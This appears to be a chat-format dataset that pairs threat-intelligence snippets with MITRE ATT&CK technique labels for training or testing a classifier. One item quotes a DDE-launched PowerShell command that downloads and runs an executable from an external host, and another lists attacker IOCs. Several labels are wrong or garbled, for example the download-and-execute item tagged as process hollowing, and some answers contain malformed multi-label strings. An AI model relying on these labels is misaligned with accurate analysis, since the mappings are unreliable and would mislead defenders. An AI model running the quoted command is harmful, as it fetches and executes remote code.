                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has performed credential dumping with LaZagne."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets', 'T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Most of the fake lures for this campaign are related to games, subtitle files, adult videos, and cracked MS Office applications. These are hosted in ZIP format on legitimate file hosting services."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of recording keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Next, HyperStack uses a custom handshake that is similar to handshakes used for Carbon named-pipe communications. To detect incoming connections from the controller, the HyperStack implant uses the Windows API call ‘ConnectNamedPipe’. When HyperStack receives an incoming connection, it starts a new thread and continues with the custom handshake. If it matches, the HyperStack implant returns the value CACA05ACCE55F11E to the controller"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hydraq creates a backdoor through which remote attackers can monitor services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can list local and remote shared drives and folders over SMB."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For Operation Spalax, the threat actors used dynamic DNS services, including Duck DNS and DNS Exit, as part of their C2 infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clambling can set and delete Registry keys."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Havij is used to automate SQL injection."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FrameworkPOS can identifiy payment card track data on the victim and copy it to a local file in a subdirectory of C:\\Windows\\."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNBURST collected a list of process names that were hashed using a FNV-1a + XOR algorithm to check against similarly-hashed hardcoded blocklists."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has copied tools between compromised hosts using SMB."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We believe the adversary exploited a recently vulnerability in Microsoft SharePoint tracked by , which is a remote code execution vulnerability used to compromise the server and eventually install a webshell"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HTTPBrowser has established persistence by setting the \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" key value for \"wdm\" to the path of the executable. It has also used the Registry entry \"HKEY_USERS\\Software\\Microsoft\\Windows\\CurrentVersion\\Run vpdn “%ALLUSERPROFILE%\\%APPDATA%\\vpdn\\VPDN_LU.exe”\" to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "jRAT can browse file systems."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Revenge RAT has a plugin for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang has dumped credentials, including by using gsecdump."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager', 'T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The series of commands, as seen in Table 2, include checks for virtualized environments, low memory, and processor counts, in addition to checks for common analysis tools running on the system"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery', 'T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "admin@338 actors used the following commands after exploiting a machine with LOWBALL malware to obtain information about files and directories: \"dir c:\\ >> %temp%\\download\" \"dir \"c:\\Documents and Settings\" >> %temp%\\download\" \"dir \"c:\\Program Files\\\" >> %temp%\\download\" \"dir d:\\ >> %temp%\\download\""
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors used PowerShell on compromised systems."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can retrieve information about the Windows domain."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has used \"tasklist\" to enumerate processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has used DOCX files to download malicious DOT document templates and has used RTF template injection to download malicious payloads. Gamaredon Group can also inject malicious macros or remote templates into documents already present on compromised systems."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This function aims to download the powershell code from the command and control server and execute it"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider used Base64 encoding to obfuscate an Empire service and PowerShell commands."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacMa has used macOS API functions to perform tasks."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TajMahal has the ability to identify connected Apple devices."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Calisto runs the \"ifconfig\" command to obtain the IP address from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "All RDAT samples have malicious verdicts in WildFire and have protections in place through Cortex XDR. DNS tunneling protocols used for C2 communications are blocked via DNS Security. All C2 domains are classified as Command-and-Control for URL Filtering. AutoFocus customers can monitor activity via the rdat_backdoor tag"
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Non-Standard Encoding', 'T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has used tools such as the MailFetch mail crawler to collect victim emails (excluding spam) from online services via IMAP."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Skidmap has the ability to set SELinux to permissive mode."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has conducted watering-hole attacks through media and magazine websites."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TURNEDUP is capable of taking screenshots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After the credit cards are first scanned in real time, the personal account number (PAN) and accompanying data sits in the point-of-sale system’s memory unencrypted while the system determines where to send it for authorization. During that time, the point-of-sale malware opens up the process memory searching for elements related to credit card information"
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors used scripts to detect security software."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The SOMBRAT backdoor is packaged as a 64-bit Windows executable. It communicates with a configurable command and control (C2) server via multiple protocols, including DNS, TLS-encrypted TCP, and potentially WebSockets. Although the backdoor supports dozens of commands, most of them enable the operator to manipulate an encrypted storage file and reconfigure the implant. The backdoor's primary purpose is to download and execute plugins provided via the C2 server. In contrast to the SOMBRAT version published in November 2020, Mandiant observed additional obfuscation and armoring to evade detection, this SOMBRAT variant has been hardened to discourage analysis. Program metadata typically included by the compiler has been stripped and strings have been inlined and encoded via XOR-based routines"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "downloader code has included \"0\" characters at the end of the file to inflate the file size in a likely attempt to evade anti-virus detection."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 actors use NBTscan to discover vulnerable systems."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Indrik Spider has used batch scripts on victim's machines."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remsec is capable of using SMTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Squirrelwaffle has collected the victim’s external IP address."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Despite the simplicity of most of their tools, the Gamaredon group also is capable of deploying some novelty, such as their Outlook VBA module. However, as it is far from stealthy, in the long run it is no match for a capable organization. The variety of tools Gamaredon has at its disposal can be very effective at fingerprinting a machine and understanding what sensitive data is available, then spreading throughout the network"
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IOCs Domain supservermgr[.]com URL hxxp://supservermgr[.]com/sys/upd/pageupd.php Zebrocy d697160aecf152a81a89a6b5a7d9e1b8b5e121724038c676157ac72f20364edc cba5ab65a24be52214736bc1a5bc984953a9c15d0a3826d5b15e94036e5497df 25f0d1cbcc53d8cfd6d848e12895ce376fbbfaf279be591774b28f70852a4fd8 115fd8c619fa173622c7a1e84efdf6fed08a25d3ca3095404dcbd5ac3deb1f03 f27836430742c9e014e1b080d89c47e43db299c2e00d0c0801a2830b41b57bc1 5b5e80f63c04402d0b282e95e32155b2f86cf604a6837853ab467111d4ac15e2 dd7e69e14c88972ac173132b90b3f4bfb2d1faec15cca256a256dd3a12b6e75d Koadic abbad7acd50754f096fdc6551e728aa6054dcf8e55946f90a02b17db552471ca User Agents Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1) Mozilla/5.0 (Windows NT 6.1; WOW64) WinHttp/1.6.3.8 (WinHTTP/5.1) like Gecko Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1 IPs 185.25.51[.]198 185.25.50[.]93 220.158.216[.]127 92.114.92[.]102 86.106.131[.]177  DDE Docs 85da72c7dbf5da543e10f3f806afd4ebf133f27b6af7859aded2c3a6eced2fd5 8cf3bc2bf36342e844e9c8108393562538a9af2a1011c80bb46416c0572c86ff"
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to gather the username from the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obtains a list of running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors used valid accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, RDP, and Virtual Network Computing (VNC). The actor may then perform actions as the logged-on user. Chinese state-sponsored cyber actors also used on-premises Identity and Access Management (IdAM) and federation services in hybrid cloud environments in order to pivot to cloud resources."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "High Commissioner of Bangladesh Pakistan eying Sukhoi-35 fighter planes as part of defense deal from Russia 2018.143 PG COURSE IN 2018-2021 BATCH India Bangladesh and Pakistan Press Release on Observance of Historic Mujibnogor Dibosh by Pakistan Mission on 17 April 2018 Afghan Bomb Blast report by ISI USAJOBS Daily Saved Search Results for New GS15 for 3/30/2018 How Rigging take place in Senate Elections in Pakistan Afghan Terrorist group details ISI Restricted113 1971 Liberation War Freedom Fighters in Pakistan Army Custody Database  Additionally, the following filenames were witnessed in these attacks (spelling and grammar mistakes included):  Liberation Freedom Fighter.xlam NSC details of participants.xlam Raw Sect Vikram report on Pak Army Confidential.doc USA Immagration Policy for Families.ppam doc CV FM.doc doc Sukhoi35 deal report.doc Nominal Roll.doc Press Release 17 April.doc Afghan Blast report by ISI.doc Rigging in Pakistan Senate.doc Afghan Terrorist group report.doc    The payloads for these attacks varied in malware family"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WindTail has been incompletely signed with revoked certificates."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We have rounded up 220 samples of the CARBANAK backdoor and compiled a table that highlights some interesting details that we were able to extract. It should be noted that in most of these cases the backdoor was embedded as a packed payload in another executable or in a weaponized document file of some kind. The MD5 hash is for the original executable file that eventually launches CARBANAK, but the details of each sample were extracted from memory during execution. This data provides us with a unique insight into the operational aspect of CARBANAK and can be downloaded here"
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nomadic Octopus used \"cmd.exe /c\" within a malicious macro."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dacls can encrypt its configuration file with AES CBC."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some payloads leveraged DLL side loading, a technique that involves running a legitimate, typically digitally signed, program that loads a malicious DLL. The DLL acts as a stub loader, which loads and executes shell code. BRONZE UNION previously used this technique to enable execution of PlugX and HttpBrowser tools in a way that is challenging for network defenders to detect"
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxxZ can search the registry of a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 1 Article referenced by decoy document in attack against British government agency   The attached document leverages a DDE exploit to ultimately execute the following code:c:\\\\windows\\\\system32\\\\cmd.exe \"/k PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -noprofile -command (New-Object System.Net.WebClient).DownloadFile('https://881.000webhostapp[.]com/0_31.doc', '%TEMP%\\\\AAA.exe');Start-Process('%TEMP%\\\\AAA.exe')Palo Alto Networks first witnessed this DDE exploit technique in May 2017, and attackers continue to leverage it"
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Frankenstein has used WMI queries to detect if virtualization environments or analysis tools were running on the system."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ProgramArguments tell us where GrowlHelper is installed and that it takes at least one command line argument (-f). The RunAtLoad key confirms the implant will run every time the user logs in. To get an overview of the installation process, we can monitor file system activity for GrowlHelper events"
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: .bash_profile .bashrc and .shrc"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has used WMIC to execute remote commands."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 enumerated administrative users using the commands \"net localgroup administrators\"."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses FakeTLS to communicate with its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent Tesla has the ability to extract credentials from configuration or support files."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If this function is successfully loaded, it will ultimately spawn a new instance of itself with the Rundll32Call export via a call to rundll32.exe. The Rundll32Call exported function begins by creating a named event named ‘RunOnce’. This event ensures that only a single instance of DDKong is executed at a given time. If this is the only instance of DDKong running at the time, the malware continues. This ensures that only a single instance of DDKong is executed at a given time. DDKong attempts to decode an embedded configuration using a single byte XOR key of 0xC3"
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoetRAT used file system monitoring to track modification and enable automatic exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Activation of these hooks is done by Ebury injecting its dynamic library into every descendant processes of sshd. To inject itself into subprocesses, Ebury hooks execve and use the dynamic linker LD_PRELOAD variable. Every time a new process is created, Ebury adds LD_PRELOAD=&lt;Ebury_filename&gt; to its environment. Once the new process is executed, Ebury’s dynamic library is loaded and its constructor is called, executing the hooking routines"
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: LD_PRELOAD"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Poseidon utilizes a variety of tools. This tool appears to be designed to operate on high-value corporate systems like Domain Controllers or IIS servers that act as repositories of valuable information, particularly for lateral movement. The Information Gathering Tool (IGT) tool is coded in Delphi and includes powershell and SQL components across a dozen different drops. This tool contains several other executable files made in different programming languages ranging from Visual Basic 6 to C#, each one performing a very clear task devised by the group when trying to obtain more information from an objective"
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emissary uses HTTP or HTTPS for C2."
            },
            {
